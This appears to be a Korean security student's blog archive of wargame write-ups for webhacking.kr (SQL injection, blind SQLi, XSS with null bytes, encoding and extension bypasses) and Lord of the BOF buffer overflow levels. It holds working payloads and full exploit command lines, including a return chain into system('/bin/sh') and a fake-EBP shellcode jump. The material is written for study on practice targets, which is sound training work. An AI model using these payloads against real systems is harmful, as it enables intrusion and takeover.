'분류 전체보기'에 해당되는 글 1000건


webhacking.kr 27번 문제다.

점수는 150 point.

sql injection 문제인 것 같다. 

코드보면 id는 guest로 고정되어있다. no값으로 인해 쿼리를 조작하면 될 것 같다. 일단 1을 넣어봤다.

guest라고 나온걸 보니 guest의 no값이 1인가 보다.

그렇다면 admin의 no값이 뭔지가 중요할 것 같다.

일단 2를 넣어봤다.

에러가 뜬다. id랑 no에 조건이 서로 달라 쿼리가 반환되지 않은 것 같다.

그렇다면 2) or no=2#과 같이 쿼리를 넣어주면 무조건 or뒤의 조건에 해당하는 값만 나올 것이다.

소스코드 상에서 필터링하는 것들을 우회해 다음과 같이 작성해 봤다.

2)%20or%20no%20like%202%20--%20x

2값이 admin no였나보다. 바로 나왔네.


성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 29번  (0) 2018.01.12
webhacking.kr 28번  (0) 2018.01.12
webhacking.kr 26번  (0) 2018.01.11
webhacking.kr 25번  (0) 2018.01.11
webhacking.kr 24번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 26번 문제다.

점수는 100point.

들어가보니 깜깜하고 소스확인을 하면 될 것 같다.

100점짜리가 간단하다. 처음에 admin필터링을 우회한 후 urldecode된 값이 admin이면 성공이다. 그렇다면 처음에 admin을 urlincoding해서 보내주면 첫번째 필터링에서 우회하고 그다음 디코딩 되므로 자연스럽게 성공할 것이다.

admin을 urlencoding 해서 보내봤다.

흠.. 왜실패하지.. 아 생각해보니 php는 값을 보내고 받을때 인코딩 디코딩을 한번씩 자체적으로 했었었다.

그러면 인코딩이 한번된 값을 보내면 자동으로 한번 디코딩을 해서 첫번째 필터링에서 걸려버린 것 같다.

인코딩을 한번더 해서 보내봤다.

디코딩이 자동으로 한번 되어도 아직 한번 인코딩된상태라 필터링을 우회한다. 그다음 다시 코드상으로 디코딩을하여 정상적으로 admin문자가 된다. 


성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 28번  (0) 2018.01.12
webhacking.kr 27번  (0) 2018.01.12
webhacking.kr 25번  (0) 2018.01.11
webhacking.kr 24번  (0) 2018.01.11
webhacking.kr 23번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스가 상당히 길어졌다.


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}


근데 결국 보면 MO함수가 실행되서 system함수가 실행되면 되는거다. 일단 공유라이브러리는 안되고 ret가 DO함수 주소여야 한다. 그렇다면 ret를 DO함수로 만든다음 MO함수까지 호출하도록 하면 되는데 MO함수 내에선 또 check값이 4여야만 system함수가 호출된다. 그렇다면 check값은 MO함수를 제외한 나머지 함수에 의해 순차적으로 값이 세팅된다. 결국 DO -> GYE -> GUL -> YUT -> MO 형식으로 호출이 되면 된다.

ret부터 148 바이트가 초기화가 안되기 때문에 ret뒤의 값들을 활용하면 된다.


이런식이다.

DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소

RET부터 일케 넣어주면 맨처음 DO함수로 EIP가 변경된뒤 DO함수 종료시에 RET가 실행되면서 기존에 넣어둔 GYE로 EIP가 변경되고 같은형식으로 쭉 MO함수까지 호출이 되게된다.


DO  = 0x080487ec


GYE = 0x080487bc


GUL = 0x0804878c


YUT = 0x0804875c


MO  = 0x08048724



실제로 넣어보면 MO함수까지 호출되는 것을 알 수 있고 system함수에 인자값이 제대로 들어오지 않아 오류가 난것을 확인할 수 있다.


이제 system함수내에 들어갈 /bin/sh 문자열 주소를 구하면 되는데 공유라이브러리 영역과 환경변수 buf~buf+44영역에는 담을수가 없다. 그치만 buf48~buf148 영역의 100byte라는 충분한 메모리 공간이 있기 때문에 이를 활용해주면 된다.


함수 주소를 모두 넣어준뒤 마지막 MO함수에서는 자신의 인자값으로 system함수의 인자값을 세팅하므로 MO함수의 인자값이 들어가는 위치에 맞춰 아래와 같은 방식으로 세팅을 해주면 된다.


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"


bin/sh문자열 주소는 위에서도 언급했듯이  


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"+"/bin/sh 헥사값"


요렇게 /bin/sh값을 아예 buf48~buf148영역에 박아넣고 그주소를 system함수 인자값으로 세팅해주면 된다.


필요한 개념은 다 정리됬으니 이제 맞춰 페이로드를 짜면된다.


./succubua `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xee\xee\xee\xee"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



일단 버퍼에 넣어놓은 /bin/sh값의 정확한 메모리 주소를 모르기 때문에 /bin/sh 문자열주소는 임의의 값으로 세팅한뒤 세그먼트 fault낸뒤 core파일로 분석했다.



/bin/sh문자열의 주소는 0xbffffaa8이었다.


이제 모든 재료는 다 구했으니 그대로 익스플로잇해주면 된다.


./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xa8\xfa\xff\xbf"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



잘나온당.






 

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (0) 2018.01.12
LOB succubus -> nightmare  (0) 2018.01.12
LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 다음과 같이 RET값을 스택 및 공유 라이브러리 영역으로 지정할 수 없고 이전단계에서 추가된 사항으로 인해 RET뒤로는 값을 채울수가 없다. SFP와 RET만 가지고 뭔갈 해야되는데 친절하게 FEBP라고 Fake EBP 기법을 쓰라고 적혀있다.



FAKE EBP 기법을 간단히 설명하면 EBP값을 조작한 뒤 RET에 leave ret Gadget을 넣어 leave ret을 한번더 실행하게하면 현재 EBP영역의 4바이트값이 leave명령어에 의해 제거되고 결국 EBP+4영역의 4바이트값이 ret를 통해 실행되는 형식이다.

조작할 EBP 영역은 쉘코드의 주소값이 담긴 영역에 -4바이트 이다. 

여러가지 방법이 있지만 현재 buf에 내가원하는 값을 담을 수 있기 때문에 buf에 쉘코드 주소를 담고 실제 쉘코드는 성공확률을 높이기위해 NOP를 많이 박으려고 환경변수를 통해 올려놨다.



먼저 환경변수에 쉘코드를 올려놓은 후 주소를 구했다.


그럼 현재까지 "\x96\xfe\xff\xbf"+"A"*36+"buf-4주소"+"leave ret gadget 주소" 이렇게 완성할 수 있고 buf-4주소는 임의의 값을 넣은 후 세그먼트 fault 발생시켜 코어파일을 통해 구했다.



buf-4 주소 = 0xbffff9bc

현재까지 페이로드는 "\x96\xfe\xff\xbf"+"A"*36+"\xbc\xf9\xff\xbf"+"leave ret gadget 주소" 이고 마지막으로 leave ret gadget은 main 함수 맨 마지막에 있는 주소를 썼다.



 leave ret gadget 주소 = 0x80484df


이제 필요한건 다구했으니 익스플로잇 해주면된다.

"\x96\xfe\xff\xbf"+"A"*36+"\xbc\xf9\xff\xbf"+"\xdf\x84\x04\x08"






'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB succubus -> nightmare  (0) 2018.01.12
LOB zombie_assassin -> succubus  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 25번 문제다.

점수는 150point.

들어가보니 파일 목록같은게 나오고 있고 url보면 file이라는 변수에 파일명을 입력해주는 것 같다.

딱봐도 password.php라는 파일이 수상하다. 한번 열어보려고 입력해봤다. 근데 아무런 메시지가 안나오고 그대로 hello world다.

흠... 그러고보니 위에 hello.txt같은경우 hello만 쳐도 메시지가 나와있다. 아마 자동으로 .txt를 붙여주는 것 같다. 그럼 내가 password.php를 입력하면 password.php.txt가 되서 password.php 페이지로 못가는 것같다. 그래서 password.php뒤에 null문자를 줘서 문자열을 끝내봤다. null의 url encoding 값인 %00을 줘봤다.

다음과 같이 뒤에 확장자 .txt가 무시되어 정상적으로 패스워드가 나오게 된다.

성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 27번  (0) 2018.01.12
webhacking.kr 26번  (0) 2018.01.11
webhacking.kr 24번  (0) 2018.01.11
webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacing.kr 24번 문제다.

점수는 100 point.

들어가보면 다음과 같이 ip와 agent값이 보인다.

소스부터 확인해보자.

보아하니 간단한 소스다. 쿠키에 REMOTE_ADDR로 ip값을 넣어줬을대 ip가 12 ,7. ,0. 3가지가 필터링 되고 있는데 이를 우회해서 127.0.0.1이 나오게 만들면 된다.

일단 한번 그대로 넣어봤다.

1만 남는다. 그럼이제 조금만 생각해보면 다음과 같이 만들어 낼 수 있다.
112277..00..00..1로 넣어주면 12 7. 0. 이 공백으로 필터링되 결국 127.0.0.1이 남는다.

성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 26번  (0) 2018.01.11
webhacking.kr 25번  (0) 2018.01.11
webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
webhacking.kr 21번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 23번 문제다.

점수는 200point.

들어가면 다음과 같고 <script>alert(1);</script>을 injection 하면 될 것 같다. 

그대로 입력해봤다. 

필터링이 되고있는 것 같다. 값은 url에 get방식으로 넘어가고 있는 것 같다.

흠 문자를 하나씩 입력해봤다.


정상적으로 출력된다. 근데 문자를 sc al와 같이 2개만 붙여써도 필터링이 된다.

그렇다면 문자 사이사이에 url encoding되어있는 null값을 줘서 하나의 문자들로 인식하게 만들어 

시도해 봤다. 

<%00s%00c%00r%00i%00p%00t%00>%00a%00l%00e%00r%00t%00(1);<%00/%00s%00c%00r%00i%00p%00t%00>



성공! 간단한 XSS 스크립팅 문제였다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 25번  (0) 2018.01.11
webhacking.kr 24번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
webhacking.kr 21번  (0) 2018.01.11
webhacking.kr 20번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 22번 문제다.

점수는 500point.

들어가보니 다음과 같은 창이 나타난다.

admin 사용자로 로그인을 해야하는 것 같다.


바로 admin 사용자로 로그인 시도를 해보려고 했다가 join창이 있으니 아마 이걸 활용해야 할거라고 생

각해서 admin 사용자로 가입을 하려 해봤다. 그러나 이것저것 시도해봤는데 admin사용자로 우회해서

가입하는건 실패했다. 그래서 그냥 일반 사용자로 가입을 시도해봤다.

다음과 같이 성공하게된다.

흠 그래서 test사용자로 한번 로그인해봤다.

무슨 키값같은게 뜨는데 대충보니 md5형식인 것 같다. 한번 복호화를 해봤다.

원래 비밀번호뒤에 zombie라는 문구가 추가되어 있는 것 같다.

흠.. 뭐지..? 아직 감이잘 안온다.

일단 admin사용자로 가입하는건 실패해서 아예 우회해서 로그인해보려고 시도를 했다. 그러나 이것저것 해봤는데 안된다.

그러다 혹시 블라인드 sql injection이 먹힐까하면서 이것저것 입력해보다 admin' and 1#을 주니 다음과 같은 문구가 나온다. 이를 활용하면 블라인드 sql injection이 가능할 것 같다.

다음과 같이 파이썬 스크립트를 작성했다.

코드를 돌려보니 키 값이 나온다.

이를 복호화 해보니 다음과 같은 값이뜬다. 그럼 zombie를 제외한 나머지 부분이 비밀번호일 것 같다.

id pw로 admin rainbow를 입력하니 다음과 같이 성공화면이 나타난다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 24번  (0) 2018.01.11
webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 21번  (0) 2018.01.11
webhacking.kr 20번  (0) 2018.01.11
webhacking.kr 19번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 21번 문제다.

점수는 250point.

블라인드 sql 인젝션 문제란다. 값을 하나씩 넣어보니 1,2일때는 True이고 나머지 값에서는 False가 

나타난다. 이를 활용하면 될 것 같다.


값이 넘어가는 걸 보니 no값으로 조건을 만들고 id,pw값을 출력하는 구문일 것 같다. 



대충 짜보면 select * from table where no=$_GET[no]; 와 같은 구문일 것 같다.

1,2일때만 True인걸보니 테이블에 들어있는 id,pw가 2개 들어있을 것이라고 추측할 수 있다.

먼저 id값을 알아내기 위해

"1 and if(substr(lpad(bin(ord(substr(id,"+str(i)+",1))),8,0),"+str(j)+",1)=0,1,0)#"

같은 쿼리로 파이썬 프로그램을 돌렸더니 id값이 guest로 나온다.

"2 and if(substr(lpad(bin(ord(substr(pw,"+str(i)+",1))),8,0),"+str(j)+",1)=0,1,0)#"

no부분을 2로 바꾸니 admin사용자가 나온다.

그렇다면 다음과 같이

"2 and if(substr(lpad(bin(ord(substr(pw,"+str(i)+",1))),8,0),"+str(j)+",1)=0,1,0)#"

 같은 형태로 파이썬 스크립트를 짜서 돌려봤다.

키 값을 뱉어낸다.

입력해보자.

성공! 기본적인  blind sql injection 문제였다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
webhacking.kr 20번  (0) 2018.01.11
webhacking.kr 19번  (0) 2018.01.11
webhacking.kr 18번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 20번 문제다.

점수는 200point.

들어가보니 값을 줄수 있는 게 3가지가 있고 time limit : 2라고해서 뭔가 시간제한이 있는 것 같다.

일단 값을 아무거나 줘서 submit 해봤더니 아무 반응이없다. 소스부터 확인해보자.


흠 확인해보니 submit();이 되려면 id cmt hack값이 다 있어야하고 hack값이 attackme값이랑 같아야 한다.

hack값을 attackme값과 같이해서 보내보니 다음과 같이 에러가뜬다.

흠.. 보아하니 time limit:2라는게 2초마다 attackme값이 바뀌는 것같다. 그렇다면 새로고침하고 2초안에 저 값들을 모두넣고 submit을 해야하는데 쉽지않을 것 같다.

그래서 크롬의 개발자모드를 사용하기로 했다. 다음과 같이 값을 입력해놓고 새로고침 후 바로 엔터를 쳐 값을 한번에 입력하였다.

성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 22번  (2) 2018.01.11
webhacking.kr 21번  (0) 2018.01.11
webhacking.kr 19번  (0) 2018.01.11
webhacking.kr 18번  (0) 2018.01.11
webhacking.kr 17번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,